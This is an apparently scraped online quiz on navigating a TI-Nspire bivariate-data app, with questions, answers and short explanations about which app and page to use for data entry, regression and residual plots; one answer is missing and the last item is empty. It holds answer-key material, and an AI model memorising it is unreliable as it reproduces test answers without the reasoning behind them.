Average cost is the aggregate of average fixed cost and average variable cost (AC = AFC + AVC). To begin with, as production increases, initially the average fixed cost and average variable cost
falls. But after a minimum point, average variable cost stops falling but not the average cost. It is due to this reason that average variable cost reaches the minimum before AC.
The point, where AC is minimum is called the optimum point. After this point, AC begins to rise upward. The net result is the increase in AC. Therefore, it is only due to the nature of AFC and AVC
that AC first falls, reaches minimum and afterwards starts rising upward and hence assume the U-shape.
2. BASIS OF THE LAW OF VARIABLE PROPORTION
The law of variable proportion also results in U-shape of short run average cost curve. If in the short period variable factors are combined with a fixed factor, output increases in accordance with
the law of variable proportions. In other words, the law of ‘Increasing Returns’ applies.
Similarly, if employ more and more variable factors are employed with fixed factors the law of Diminishing Returns is said to apply. Thus, it is due to the law of variable proportions that the
average cost curve assumes the shape of U.
Another reason due to which the average cost curve forms U-shape is the indivisibilities of factors. When in the short-run a firm increases its production due to indivisibilities of fixed factors, it
gets various internal economies. It is these economies which cause the average cost curve to fall in the initial stage. Generally, there are three types of internal economies which help to bring down
the cost viz., technical economies, marketing economies and managerial economies.
It is the addition to total cost required to produce one additional unit of a commodity. It is measured by the change in total cost resulting from a unit increase in output. For example, if the total
cost of producing 5 units of a commodity is Rs. 100 and that of 6 units is Rs. 110, then the marginal cost of producing 6^th unit of. Commodity is Rs. 110 – Rs. 100 = Rs. 10. The formula for marginal
cost is
MC[n] =TC[n] –TC[n-1,]
It means that marginal, cost of ‘n’ units of output (MC[n]) can be obtained by subtracting the total cost of production of ‘n-l’ units (TC[n-1]) from the total cost of production of ‘n’ units (TC
[n]). Alternatively, marginal cost can be expressed as
Here, ∆TC stands for change in total cost and ∆Q stands for change in total output.
This can be shown as follows:
In the long run all factors are assumed to become variable. Long-run cost curve is a planning curve, in the sense that it is a guide to the entrepreneur in his decision to plan the future expansion
of his output. The long-run average-cost curve is derived from short-run cost curves.
The long run costs are categorised as follows:
• Long run total cost
• Long run average cost
• Long run marginal cost
Long run Total Cost (LTC) refers to the minimum cost at which given level of output can be produced. According to Leibhafasky, “the long run total cost of production is the least possible cost of
producing any given level of output when all inputs are variable.” LTC represents the least cost of different quantities of output. LTC is always less than or equal to short run total cost, but it is
never more than short run cost.
This can be shown as follows:
Long run Average Cost (LAC) is equal to long run total costs divided by the level of output. The derivation of long run average costs is done from the short run average cost curves. In the short run,
plant is fixed and each short run curve corresponds to a particular plant. The long run average costs curve is also called planning curve or envelope curve as it helps in making organizational plans
for expanding production and achieving minimum cost.
Long run Marginal Cost (LMC) is defined as added cost of producing an additional unit of a commodity when all inputs are variable. This cost is derived from short run marginal cost. On the graph, the
LMC is derived from the points of tangency between LAC and SAC. | {"url":"https://commerceiets.com/traditional-theory-of-cost/","timestamp":"2024-11-11T00:57:01Z","content_type":"text/html","content_length":"158962","record_id":"<urn:uuid:e8b53a5b-1ce6-42e3-85b2-9ec667429e0e>","cc-path":"CC-MAIN-2024-46/segments/1730477028202.29/warc/CC-MAIN-20241110233206-20241111023206-00640.warc.gz"} |
Scientific committee: Alain Connes, Simone Gutt, Maxim Kontsevich, Yvette Kosmann-Schwarzbach, Pierre Lecomte, Tudor Ratiu, John Rawnsley, Wilfried Schmid, Daniel Sternheimer, Alan Weinstein.
Local committee: Pierre Bieliavsky, Michel Cahen, Simone Gutt, Luc Lemaire.
Euroschool: The first 5 days (13th-17th) were devoted to short courses by
Alberto Cattaneo
Formality and Star Products
Ieke Moerdijk
Lie Groupoids, sheaves and cohomology
Wilfried Schmid
Geometric Methods in Representation Theory
Daniel Sternheimer
Deformation theory: a powerful tool in physics modelling
Alan Weinstein
Poisson Geometry and Morita Equivalence
Proceedings: of the school have appeared as
Poisson Geometry, Deformation Quantisation and Group Representations,
edited by Simone Gutt, John Rawnsley and Daniel Sternheimer, Lecture Note Series 323, London Mathematical Society, 2005 Cambridge University Press
Euroconference: with lectures by Didier Arnal, Melanie Bertelson, Alberto Cattaneo, Alain Connes, Marius Crainic Boris Fedosov Rui Fernandes, Ezra Getzler, Sarah Hansoul, Yael Karshon, Maxim
Kontsevich, Yvette Kosmann-Schwarzbach, Jiang-Hua Lu, Yoshioka Maeda, Ieke Moerdijk, Ryszard Nest, Tudor Ratiu, Wilfried Schmid, Lorenz Schwachhofer, Carlos Simpson, Daniel
Sternheimer, Charles Torossian, Kari Vilonen, Stefan Waldmann, Alan Weinstein.
Proceedings: of the conference have appeared as volume 69 of Letters in Mathematical Physics, edited by Simone Gutt, John Rawnsley and Daniel Sternheimer, (2004). | {"url":"https://simone.gutt.web.ulb.be/PQR2003-orig.html","timestamp":"2024-11-02T05:41:35Z","content_type":"text/html","content_length":"5581","record_id":"<urn:uuid:4c83fc36-6533-43c4-8b9d-8109bb0ca53c>","cc-path":"CC-MAIN-2024-46/segments/1730477027677.11/warc/CC-MAIN-20241102040949-20241102070949-00159.warc.gz"} |
In GAN, the latent space input is usually random noise, e.g., Gaussian noise. The objective of [[GAN]] GAN The task of GAN is to generate features $X$ from some noise $\xi$ and class labels $Y$, $$\
xi, Y \to X.$$ Many different GANs are proposed. Vanilla GAN has a simple structure with a single discriminator and a single generator. It uses the minmax game setup. However, it is not stable to use
minmax game to train a GAN model. WassersteinGAN was proposed to solve the stability problem during training1. More advanced GANs like BiGAN and ALI have more complex structures. Vanilla GAN Minmax
Game … is a very generic one. It doesn’t say anything about how exactly the latent space will be used. This is not desirable in many problems. We would like to have more interpretability in the
latent space. InfoGAN introduced constraints to the objective to enforce interpretability of the latent space^1.
The constraint InfoGAN proposed is [[Mutual Information]] Mutual Information Mutual information is defined as $$ I(X;Y) = \mathbb E_{p_{XY}} \ln \frac{P_{XY}}{P_X P_Y}. $$ In the case that $X$ and
$Y$ are independent variables, we have $P_{XY} = P_X P_Y$, thus $I(X;Y) = 0$. This makes sense as there would be no “mutual” information if the two variables are independent of each other. Entropy
and Cross Entropy Mutual information is closely related to entropy. A simple decomposition shows that $$ I(X;Y) = H(X) - H(X\mid Y), $$ which is the reduction of … ,
$$ \underset{{\color{red}G}}{\operatorname{min}} \underset{{\color{green}D}}{\operatorname{max}} V_I ({\color{green}D}, {\color{red}G}) = V({\color{green}D}, {\color{red}G}) - \lambda I(c; {\color
{red}G}(z,c)), $$
• $c$ is the latent code,
• $z$ is the random noise input,
• $V({\color{green}D}, {\color{red}G})$ is the objective of GAN,
• $I(c; {\color{red}G}(z,c))$ is the mutual information between the input latent code and generated data.
Using the lambda multiplier, we punish the model if the generator loses information in latent code $c$.
The training steps are almost the same as [[GAN]] GAN The task of GAN is to generate features $X$ from some noise $\xi$ and class labels $Y$, $$\xi, Y \to X.$$ Many different GANs are proposed.
Vanilla GAN has a simple structure with a single discriminator and a single generator. It uses the minmax game setup. However, it is not stable to use minmax game to train a GAN model. WassersteinGAN
was proposed to solve the stability problem during training1. More advanced GANs like BiGAN and ALI have more complex structures. Vanilla GAN Minmax Game … but with one extra loss to be calculated in
each mini-batch.
1. Train $\color{red}G$ using loss: $\operatorname{MSE}(v’, v)$;
2. Train $\color{green}D$ using loss: $\operatorname{MSE}(v’, v)$;
3. Apply Constraint:
1. Sample data from mini-batch;
2. Calculate loss $\lambda_{l} H(l’;l)+\lambda_c \operatorname{MSE}(c,c’)$
Planted: by L Ma;
L Ma (2021). 'infoGAN', Datumorphism, 08 April. Available at: https://datumorphism.leima.is/wiki/machine-learning/adversarial-models/infogan/. | {"url":"https://datumorphism.leima.is/wiki/machine-learning/adversarial-models/infogan/?ref=footer","timestamp":"2024-11-12T03:58:36Z","content_type":"text/html","content_length":"119700","record_id":"<urn:uuid:32719e36-7f52-4531-a51e-cd9145a5e0f8>","cc-path":"CC-MAIN-2024-46/segments/1730477028242.50/warc/CC-MAIN-20241112014152-20241112044152-00353.warc.gz"} |
How To Measure The Ohm Value For An Inductor
An inductor is a small electronic element that resists changes in an alternating current, or AC. It consists of a series of wire loops around a core that store energy in the form of a magnetic field,
related to the current that passes through it. This effect, or inductance, is dependent on the material makeup and structure of the inductor. Reactance is a measure in ohms of the relationship
between the inductance and frequency of the AC.
Step 1
Acquire the necessary data. You will need the inductance, measured in Henries, and the AC frequency, measured in Hertz. The inductance is usually written on the inductor itself or may be referenced
in a schematic. The frequency is usually notated in an electronic schematic.
Step 2
Convert inductance as needed. Inductance is frequently expressed as micro-Henries, which represents 1,000,000 Henries. To convert to Henries, you would divide the number of micro-Henries by
Step 3
Calculate reactance, in ohms, by using the formula: Reactance = 2 pi Frequency * Inductance. Pi is simply a constant, measured as 3.14.
Cite This Article
Taylor, C.. "How To Measure The Ohm Value For An Inductor" sciencing.com, https://www.sciencing.com/measure-ohm-value-inductor-7519932/. 24 April 2017.
Taylor, C.. (2017, April 24). How To Measure The Ohm Value For An Inductor. sciencing.com. Retrieved from https://www.sciencing.com/measure-ohm-value-inductor-7519932/
Taylor, C.. How To Measure The Ohm Value For An Inductor last modified March 24, 2022. https://www.sciencing.com/measure-ohm-value-inductor-7519932/ | {"url":"https://www.sciencing.com:443/measure-ohm-value-inductor-7519932/","timestamp":"2024-11-14T01:04:51Z","content_type":"application/xhtml+xml","content_length":"69907","record_id":"<urn:uuid:5d7f09d0-8fc0-4baa-b3f4-b4b9ef4ffa30>","cc-path":"CC-MAIN-2024-46/segments/1730477028516.72/warc/CC-MAIN-20241113235151-20241114025151-00299.warc.gz"} |
Total distance is far more than expected
When I did the unit testing for TSP_large_graph test, I got the following error.
Failed test case: Failed to find the optimal solution for a path starting in node 0. To replicate the graph, you may run generate_graph(nodes = 1000, complete = True, seed = 43).
Expected: 4774
Got: 292549
I am using Genetic algorithm to solve TPS, my problem is not about algorithm or speed, it is that my shortest distance is much larger than expected (4774).
I am suspecting this expected value. I think the unit-test is using the generate_graph function, where the edge weight limit is 1 to 600. If the salesman travels 1000 nodes and back to original node,
there must at least be 1001 edges, each edge weight is between 1 to 600, let’s take the mean value as 300, so the total distance would be around 1001*300 = 300300. How come can the expected value
be 4774?
def generate_graph(nodes, edges=None, complete=False, weight_bounds=(1,600), seed=None):
Maybe the genetic algorithm is not good for this problem, or I am missing something in my GA.
I tried other method, it is way faster and better than GA. It is good now.
I guess a general GA just cannot handle this situation. | {"url":"https://community.deeplearning.ai/t/total-distance-is-far-more-than-expected/706793","timestamp":"2024-11-10T05:00:06Z","content_type":"text/html","content_length":"25811","record_id":"<urn:uuid:523b38bc-132f-4b8a-a350-7484888ac2ea>","cc-path":"CC-MAIN-2024-46/segments/1730477028166.65/warc/CC-MAIN-20241110040813-20241110070813-00238.warc.gz"} |
Infinitude of Primes
The following document contains embedded Coq code. All the code is editable and can be run directly on the page. Once jsCoq finishes loading, you are free to experiment by stepping through the proof
and viewing intermediate proof states on the right panel.
Button Key binding Action
F8 Toggles the goal panel.
Alt+↓/↑ or Move through the proof.
Alt+Enter or
Ctrl+Enter Run (or go back) to the current point.
(⌘ on Mac)
Ctrl+ Hover executed statements to peek at the proof state after each step.
As a relatively advanced showcase, we display a proof of the infinitude of primes in Coq. The proof relies on the Mathematical Components library from the MSR/Inria team led by Georges Gonthier, so
our first step will be to load it:
The lemma states that for any number m, there is a prime number larger than m. Coq is a constructive system, which among other things implies that to show the existence of an object, we need to
actually provide an algorithm that will construct it. In this case, we need to find a prime number p that is greater than m. What would be a suitable p? Choosing p to be the first prime divisor of m!
+ 1 works. As we will shortly see, properties of divisibility will imply that p must be greater than m.
Our first step is thus to use the library-provided lemma pdivP, which states that every number is divided by a prime. Thus, we obtain a number p and the corresponding hypotheses pr_p : prime p and
p_dv_m1, "p divides m! + 1". The ssreflect tactic have provides a convenient way to instantiate this lemma and discard the side proof obligation 1 < m! + 1.
It remains to prove that p is greater than m. We reason by contraposition with the divisibility hypothesis, which gives us the goal "if p ≤ m then p is not a prime divisor of m! + 1".
The goal follows from basic properties of divisibility, plus from the fact that if p ≤ m, then p divides m!, so that for p to divide m! + 1 it must also divide 1, in contradiction to p being prime. | {"url":"https://coq.vercel.app/examples/inf-primes.html","timestamp":"2024-11-13T15:23:24Z","content_type":"application/xhtml+xml","content_length":"6551","record_id":"<urn:uuid:ba69d5a7-19aa-4ea0-9457-c96bbda5fc0d>","cc-path":"CC-MAIN-2024-46/segments/1730477028369.36/warc/CC-MAIN-20241113135544-20241113165544-00579.warc.gz"} |
Algorithms for Lawyering.
Algorithms for Lawyering. af Firetask User
1. Scheduling
1.1. THE PROBLEM
2. Optimal Stopping
2.1. THE PROBLEM
2.2. THE ALGORITHM
2.2.1. The 37% Rule
2.3. APPLICATIONS
2.3.1. Hiring
2.3.2. Intake
2.3.3. Negotiation?? / Waiting Cost
2.3.4. Marriage???
3. Dave
3.1. The Lean Law Firm
4. Networking
4.1. Netflix
4.1.1. Almost 10% of internet traffic during peak hours of Netflix is upstream ACK's from users
4.2. WE think our problem or one of them is that we are constantly connected. But the problem is not that, it's that we are always buffered.
4.2.1. People used to knock on door, go away if no response.
4.2.2. But Now.....
4.2.2.1. Emails build up in a queue
4.2.2.2. voicemails, etc.
5. Explore / Exploit
5.1. THE PROBLEM
5.1.1. valuing present more highly than future = discounting (bird in the hand)
5.2. THE ALGORITHM
5.2.1. Gittens Index
5.2.1.1. Multi-Arm Bandits
5.2.1.1.1. win stay lose shift
5.2.1.2. geometric discounting of future reward
5.2.1.2.1. If you have a 1% chance of getting hit by a bus on any given day, you should value tomorrow's dinner at 99% of the value of tonight's
5.3. APPLICATIONS
5.3.1. Marketing / Websites
5.3.1.1. AB Testing
5.3.2. Negotiation
5.3.2.1. Making same $ amount of concession in first 20% of moves as you will in the last 80% of moves.
5.3.2.2. (has negotiation application in that value of settlement is less than one today) Bird in the hand.
5.3.2.2.1. And that diminishing value has to be figured into calculation of what offer to accept and possibly when to accept.
5.3.2.2.2. A bird in the hand is worth less tomorrow than today.
5.3.2.3. When / Whether to Settle at All...
5.3.3. Case selection / career choices.
5.3.3.1. Late in the game, you should be purely exploiting
6. Sorting
6.1. THE PROBLEM
6.1.1. Balancing the TIME it takes to SORT with the value of Sorting
6.1.2. Sorting is central and essential to human perception of information.
6.1.3. What is the minimum effort required to make order?
6.2. THE ALGORITHMS
6.2.1. Mergesort
6.2.2. Bucket Sort
6.3. APPLICATIONS.
6.3.1. Google is really a sorting machine...”THE TRUNCATED TOP (10) OF AN IMMENSE SORTED LIST IS IN MANY WAYS THE UNIVERSAL USER INTERFACE”
6.3.2. Pretrial / Case / Trial Organization
6.3.3. Trial / Mediation Presentation
6.3.4. Motions Presentation
7. Bayes's Rule
7.1. Predicting the Future
7.1.1. Gott - Berlin Wall (making prediction based on single data point) Inference from single observation. (Making prediction from small data)
7.1.1.1. Copernican Principle
7.1.1.1.1. Moment Gott encountered the wall was not special in Berlin Wall's lifetime.
7.1.1.1.2. At any moment is equally likely.
7.1.1.1.3. On average, his arrival should have come precisely at halfway point in Wall's life.
7.1.1.1.4. Best guess for duration would be to take how long it has lasted so far, and double it.
7.1.1.1.5. Really this is just a instance of Bayes's Rule
7.1.1.1.6. Copernican principle useful with uninformed prior; we know literally nothing at all. E.g., it would suggest a 90 year old man would live to 180..
8. Overfitting
8.1. PROBLEM
8.1.1. How many factors do you use to make a prediction; One, Two, N?
8.2. ALGORITHMS
8.2.1. A nine figure model can actually be inferior to a 2.
8.2.2. Regularization
8.2.3. Cross-Validation
8.2.4. Using constraints that penalize complexity
8.2.4.1. Lasso algorithm.
8.2.4.2. EARLY STOPPING
8.2.4.2.1. Best prediction algorithms start with the Single most important factor, and then layer in the lesser important ones.
8.3. APPLICATIONS
8.3.1. We can make better decisions by deliberately thinking and doing less. We naturally gravitate towards the most important factors.
8.3.1.1. When we're truly in dark, the best laid plans will be the simplest ones.
8.3.1.2. When the data is noisy, also, paint with a broad brush
8.3.1.3. A LIST THAT FITS ON ONE PAGE IS FORCED REGULARIZATION.
8.3.1.4. Application - Brainstorming -- The further ahead you're planning, the thicker the pen you use on whiteboard!! P. 167
9. Relaxation
9.1. Abraham Lincoln, Esq.
9.2. Minimum Spanning Tree
10. Randomness
10.1. THE PROBLEM
10.1.1. What's the probability that a set of facts / shuffled deck will yield a winnable game?
10.1.2. Predicting outcomes where there are multiple, interconnected (and often subjective) variables.
10.1.2.1. Example?
10.2. THE ALGORITHMS
10.2.1. Replacing exhaustive Probability calculations with sample simulations.
10.2.1.1. In a sufficiently complicated problem, actual sampling is better than an examination of all the chains of possibiilities.
10.2.1.2. Laplace -- when we want to know something about a complex quantity, we can estimate its value by sampling from it.
10.2.1.2.1. We picture CPUs marching through problems one step after the other in order... but in some cases randomized algorithms produce better results.
10.2.1.2.2. The key is knowing WHEN to rely on chance.
10.2.2. Metropolis Algorithm
10.2.2.1. Metropolis Algorithm: your likelihood of following a bad idea should be inversely proportional to HOW BAD an idea it is.
10.2.3. Monte Carlo Method
10.2.3.1. Excel Functions
10.2.4. Hill Climbing Algorithm
10.2.4.1. Jitter -- if it looks like you're stuck (income wise, etc.) make a few small RANDOM changes and see what happens. Then go back to Hill Climbing,
10.2.4.2. From Hill Climbing: even if you are in the habit of sometimes acting on bad idea, you should ALWAYS act on good ones.
10.3. APPLICATIONS
10.3.1. Negotiation
10.3.2. Breaking out of a Rut
11. Game Theory
11.1. THE PROBLEM
11.1.1. What's unique about litigation?
11.1.2. The Price of anarchy
11.1.2.1. measures the gap between cooperation and competition.
11.1.2.1.1. Prisoner's Dilemma
11.1.3. Idea of "Value"
11.1.3.1. It's not really what people think it's worth, but what people think OTHER people think it's worth.
11.1.4. The problem of Recursiveness
11.1.4.1. Family Feud
11.1.4.1.1. what does average opinion expect average opinion to be?
11.1.4.1.2. Anytime a person or machine simulates the working of itself or another person, it maxes itself out.
11.1.4.1.3. Recursion is theoretically infinite
11.2. THE ALGORITHMS
11.2.1. NASH Equilibrium
11.2.1.1. Nash Equilibrium always exists in 2 player games.
11.2.1.2. When we find ourselves going down rabbit hole of recursion, we step out of opponents head and look for the equilibrium, going to best strategy, assuming rational play.
11.2.1.3. Dominant Strategy
11.2.1.3.1. a strategy that avoids recursion altogether by being the best response to opponent's possible strategies regardless of what they are.
11.2.1.4. Here's the paradox - the equilibrium set for both players (both cooperating with cops) does not lead to the BEST result for both players (both keeping mouth shut).
11.2.2. Mechanism Design: Change the Game
11.2.2.1. Reverse Game Theory -- by changing consequences to worse, you can make the result better for everyone (e.g., Mafia Don tells prisoners if they cooperate with cops they die; they keep their
mouth shut and both walk).
11.2.2.1.1. By reducing number of options, behavioral constraints make certain kinds of decisions less computationally challenging.
11.3. APPLICATIONS
11.3.1. Flip the game
11.3.2. Give some value to Irrationality
11.3.2.1. Lots of things override rational decisionmaking.
11.3.2.1.1. Revenge almost never works our for seeker, yet those who will respond with irrational vehemence to being taken advantage of is for that reason more likely to get a fair deal.
11.3.3. Understand (and use) herd mentality
11.3.3.1. Cascades are caused when we misinterpret what others think based on what they do.
11.3.3.2. Use value of "precedent" in cases.
12. Caching
12.1. PROBLEM
12.1.1. “It is of the highest importance not to have useless facts crowding out the useful ones.”
12.1.2. What to keep/store, and what to get rid of.
12.1.3. The way the world forgets — Ebbinghouse. Memory is not a problem of storage, but of organization. Mind has infinite amount of storage, but only a finite time to search .
12.2. ALGRORITHMS
12.2.1. LRU - Least Recently Used (evicting item that’s gone the longest untouched.
12.3. APPLICATIONS
12.3.1. Filing — simply returning last used file to the left side rather than inserting, because it’s the one you’re most likely to need.
12.3.2. Tossing something recently used into the top of the pile is the closest you can come to clairvoyance. Basically LRU
12.3.3. (LRU) Biggest, most important, and hence MOST used concepts at top of the list. (Top 10).
13. The Inspriration
13.1. So, what's an algorithm?
13.1.1. Recipe
13.1.1.1. Rubik's Cube | {"url":"https://www.mindmeister.com/da/1237587451/algorithms-for-lawyering","timestamp":"2024-11-09T05:54:18Z","content_type":"application/xhtml+xml","content_length":"64471","record_id":"<urn:uuid:df57e487-8113-4dde-9071-ed0f8c36ebce>","cc-path":"CC-MAIN-2024-46/segments/1730477028116.30/warc/CC-MAIN-20241109053958-20241109083958-00659.warc.gz"} |
Octal to Decimal Converter
How to convert between the Octal and Decimal Number Systems?
Before getting into the conversation of conversion of one number system into other, let us talk a bit about the Number System itself. Number System can be defined as the set of the different
combinations of symbols, with each symbol having a specific weight. Any Number System is differentiated on the basis of the radix or the base on which the number system is made. Radix or the Base
defines the total no of different symbols, which is used in a particular number system. For example, the radix of Binary number system is 2, the radix of decimal number system is 10, and the radix of
octal number system is 8.
The Octal Number System:
As the name clearly signifies, this number system is based on radix equal to 8. So, in this number system we have eight distinct digits. For ease we consider these eight digits as same as first eight
digits in decimal number system. Position of each octal digit is associated with some power of 8 and this power equal the index of the digit from the left position. It takes at max three binary
digits to represent one octal number in binary form. As the base of this number system itself is some power of two so, it is very easy and convenient to interconvert octal number into binary or
hexadecimal number system which are used in computers to do all of the work.
Octal numbers do not find direct application in the computer machinery because computers work on binary states or bits. However, as the octal number occupy less digit to be represented in binary so
they can be efficiently stored in the computer without any wasted space in memory like BCD(Binary Coded Decimal) number.
Conversion of Decimal to Octal Number System:
The conversion of decimal to octal is very similar to converting decimal into binary. The only difference is, this time we will divide the decimal number with 8 instead of 2. The conversion can be
done by following the below written steps:
• Step1: Divide the decimal number by 8, note the remainder and assign the value R1 to it. Similarly, note the quotient and assign the value Q1 to it.
• Step2: Now divide Q1 with 8, note the remainder and quotient. Assign the value R2 and Q2 to the remainder and quotient obtained in this step.
• Step3: Repeat the sequence till you get the value of quotient (Qn) equal to 0.
• Step4: The octal number will look something like this : Rn R(n-1) R(n-2) ……………………... R3 R2 R1
Example: Let us consider a decimal number 2181.
1. 2181 / 8 = ( 272 x 8 ) + 5 ………………………………………... R1 = 5 Q1 = 272
2. 272 / 8 = ( 34 x 8 ) + 0 ……………………………………….. R2 = 0 Q2 = 34
3. 34 / 8 = ( 4 x 8 ) + 2 ………………………………………... R3 = 2 Q3 = 4
4. 4 / 8 = ( 0 x 8 ) + 4 ………………………………………... R4 = 4 Q4 = 0
So, the OCTAL equivalent of 2181 is:
(2181) Decimal = (4205) Octal
Conversion of Octal into Binary Number System:
Again, conversion of octal into decimal is very similar to the conversion of binary into decimal, the only difference is that this time we will multiply the digits with the powers of 8 instead of 2.
The conversion can be done by following the below written steps:
• Step 1: Write down the weight of 8 associated below every digit of octal number.
• Step2: Now multiply each digit with the weight associated at that place or index of digit.
• Step3: Add all the numbers obtained after multiplication in the previous step.
• Step4: The number obtained in the last step is the decimal equivalent of the octal number.
Example: Let us consider an Octal number 1265. | {"url":"https://converter.app/octal-to-decimal/","timestamp":"2024-11-10T13:12:29Z","content_type":"text/html","content_length":"206370","record_id":"<urn:uuid:b1ff7807-ad4d-4065-9797-9d9db7bca9b5>","cc-path":"CC-MAIN-2024-46/segments/1730477028186.38/warc/CC-MAIN-20241110103354-20241110133354-00390.warc.gz"} |
Diffie-Hellman Key Exchange
An explanation of an important public key cryptography algorithm as well as some of the history behind it.
This post is largely based off of an awesome video that I stumbled upon today. Check it out.
We Need Encryption
The idea that computers can be used to connect and share information between people across the globe has, of course, made a huge impact on our society.
After World War II, The United States and Canada launched NORAD: A joint effort to defend the North American continent from potential nuclear attacks. The project included hundreds of long-distance
radars across North America, which were connected to computers. These early computers transmitted the data via radio waves and telephone lines to a base in Colorado. This method of processing and
transmitting data allowed operators to make split-second decisions on a large scale.
This idea of sharing data was further developed by researchers at universities who saw how valuable this type of “computer communication” could be. Fast forward to today and it’s true that the
internet has grown to encompass just about everything we do.
Just as important as sharing our data with each other is the ability to secure it, and to prevent it from falling into the hands of an unwanted listener.
That’s one of the problems that encryption attempts to solve. However, in order for encryption to be usable, there must first be an exchange of keys between the sender and the receiver – a way for
them to unlock the information. One question that remained unanswered for some time is how to safely share those encryption keys.
How can two people who have never met agree on a secret, shared key?
In 1976, Whitfield Diffie and Martin Hellman discovered a clever way to allow different parties to securely exchange encryption keys over a public channel. It works using very large prime numbers,
and modular arithmetic. The video that I mentioned, provides the following example.
1. Two parties, Alice and Bob, agree on a prime modulus and a generator of 17 and 3 (3 mod 17).
2. Alice then selects a private random number (15 for example.)
3. Alice calculates 3^15 mod 17 to get a result of 6, which she sends to Bob.
4. Bob does the same thing and selects his own private random number (13 for example.)
5. Bob calculates 3^13 mod 17 to get a result of 12, which he sends to Alice.
At this point, Eve, who is an eavesdropper, knows everything that was sent between Alice and Bob, but does not know their private numbers that they used to perform the calculation
6. Now Alice uses the 12 that was received from Bob and calculates 12^15 mod 17 to get 10, the shared secret.
7. Bob also uses the 6 that he got from Alice to calculate 6^13 mod 17 to get 10, the same shared secret that Alice calculated.
Eve is unable to obtain the shared secret – there is no for her to calculate it.
This works because both Alice and Bob did the same calculations. Alice did 12^15 mod 17, which is the equivalent of 3^13^15 mod 17. Similarly, Bob did 6^13 mod 17, which is the equivalent of 3^15
^13 mod 17.
The technique relies on the fact that a problem like 12^15 mod 17 is easy to solve in one direction, but given only the solution, it’s very difficult to work backwards. Of course it’s easy to
calculate using small numbers as in this example, but when the numbers become hundreds of digits long, it takes computers thousands of years to figure out.
Secret colors
To help illustrate how this technique works, we can also use colors.
Pretend that Pablo has a secret color of paint he wants to share with Vincent. Neither of them want Andy to find out about this color. Also, we’re going to assume the following:
• The secret color is a combination of three colors.
• It’s easy to mix two colors of paint together to make a third color.
• Once a color is mixed, it’s practically impossible to figure out the three original colors it’s composed of. It’s impossible for Andy to take his brush and separate the paint back to their
Since it’s easy to mix paint, but hard to un-mix paint back to its initial colors, this is known as a one-way function. This property of paint forms the basis of how Pablo and Vincent can share their
secret color.
So, how can Pablo and Vincent share their secret color of paint without Andy also learning about it? Here’s how it goes:
1. Vincent and Pablo both agree publicly on the color green. Since this agreement happened publicly, Andy now knows that green is part of the mix.
2. Next, Vincent and Pablo both privately decide on another color. Vincent picks red and Pablo picks blue. Since this was not done in public, Andy does not know about these colors. In fact, Vincent
doesn’t even know about Pablo’s color, and vice versa.
3. Both Vincent and Pablo mix their privately selected colors with the public green color of paint. Next, they send each other their mixtures publicly. Since it’s done publicly, Andy is able to
obtain the mixtures as well.
At this point, Here’s what it looks like:
Vincent has:
public color private color mixture from Pablo (green + blue)
Pablo has:
public color private color mixture from Vincent (green + red)
Andy (the spy) has:
public color public mixture (green + blue) public mixture (green + red)
Now the essential part of the exchange. Both Pablo and Vincent add their private color into the mixtures that they received from each other. They are both able to create this color:
Andy does not have a combination of colors that will mix to form the secret color. Though the combination for the secret color of paint is buried within the colors he has, there’s no practical way
for him to take his brush and unmix the colors to find the secret mixture.
green + mixture from Pablo green + mixture from Vincent mixture from Pablo + mixture from Vincent
Real world applications
This is how the Diffie-Hellman key exchange algorithm works in a nutshell. Of course, in the real world, we are not dealing with colors of paint, but thanks to maths, this same concept can be used to
securely and reliably transmit useful information.
As a practical example, when setting up an Nginx web server to use TLS/SSL, you can specify the ssl_dhparam directive with the path to your Diffie-Hellman parameters. These params can be generated
using openssl:
openssl dhparam -out dhparam4096.pem 4096 | {"url":"https://denvaar.dev/posts/diffie_hellman_key_exchange.html","timestamp":"2024-11-14T16:39:46Z","content_type":"text/html","content_length":"13495","record_id":"<urn:uuid:ce1d8fe2-fa55-47c2-a7b8-b623514ed74b>","cc-path":"CC-MAIN-2024-46/segments/1730477393980.94/warc/CC-MAIN-20241114162350-20241114192350-00169.warc.gz"} |
2650 TInSpire App Quiz
Questions and Answers
Using the document Bivariate Data App Pages as a reference, answer the following questions.
Dataset 135 is used for some questions - which you can load through the App, but a sample is also below.
• 1.
When you are given a data set in a SAC, which app should you use put it into your calculator
In a Statistical Analysis Calculator (SAC), the "bivarenterdata" app should be used to input a data set into the calculator. This app is specifically designed for handling bivariate data, which
involves two variables. By using this app, users can easily enter and analyze the given data set in the calculator, allowing for various statistical calculations and interpretations to be made.
• 2.
Immediately after you have put your data into your calculator, which App do you need to run to refresh the values on the other pages?
After inputting data into the calculator, the "bivarlinregrssn" app needs to be run to refresh the values on the other pages.
• 3.
Which App should I run in order to populate the pages relating to Transformations?
The correct answer is "bivartransfrmtn" because it is the specific app that needs to be run in order to populate the pages relating to transformations. This app likely contains the necessary
tools and functions for performing bivariate transformations, which are a type of transformation involving two variables.
• 4.
It is always good practice to check the values you have entered. On which page could I expect to check the values of the data in a table format?
The values of the data in a table format can be checked on page 1.3. This page likely contains a table where the values are displayed and can be reviewed. It is important to always verify the
entered values to ensure accuracy and avoid any potential errors.
• 5.
I need to look at the scatter plot of the bivariate data to determine which quadrant it might fit into. Which page would I go to?
To determine which quadrant the bivariate data might fit into, one would need to refer to the scatter plot. The scatter plot is a graphical representation of the data points on a coordinate
plane. By examining the placement of the points on the scatter plot, one can determine in which quadrant the data falls. Therefore, to find the scatter plot and determine the quadrant, the person
would go to page 1.4.
• 6.
I want a full list of details relating to the Linear Regression equation, form and strength, correlation coefficient and coefficient of deterimation. Which page will offer me a summary of these
The full list of details relating to the Linear Regression equation, form and strength, correlation coefficient, and coefficient of determination can be found on page 1.6. This page offers a
summary of these details.
• 7.
The only way to truly tell if a set of data is linear is to look at its residual plot. Which page would I find the residual plot for the least squares regression line?
The residual plot for the least squares regression line can be found on page 1.9. By examining the residual plot, one can determine if the data follows a linear pattern.
• 8.
I have just run the transformation App to find the best transformation for the data set. Which page would give the equation for the line for the best transformation?
The equation for the line for the best transformation can be found on page 1.8.
• 9.
While a transformation may be determined to be the 'best' transformation because of its coefficient of determination, thats not enough to prove it will be accurate. You still need to look at the
residual plot to see that the data is linear AFTER it has been transformed. Where would I find the residual plot for an x squared transformation?
The residual plot for an x squared transformation can be found on page 1.16 of the given source.
• 10.
While a transformation may be determined to be the 'best' transformation because of its coefficient of determination, thats not enough to prove it will be accurate. You still need to look at the
residual plot to see that the data is linear AFTER it has been transformed. Where would I find the residual plot for a y squared transformation?
• 11.
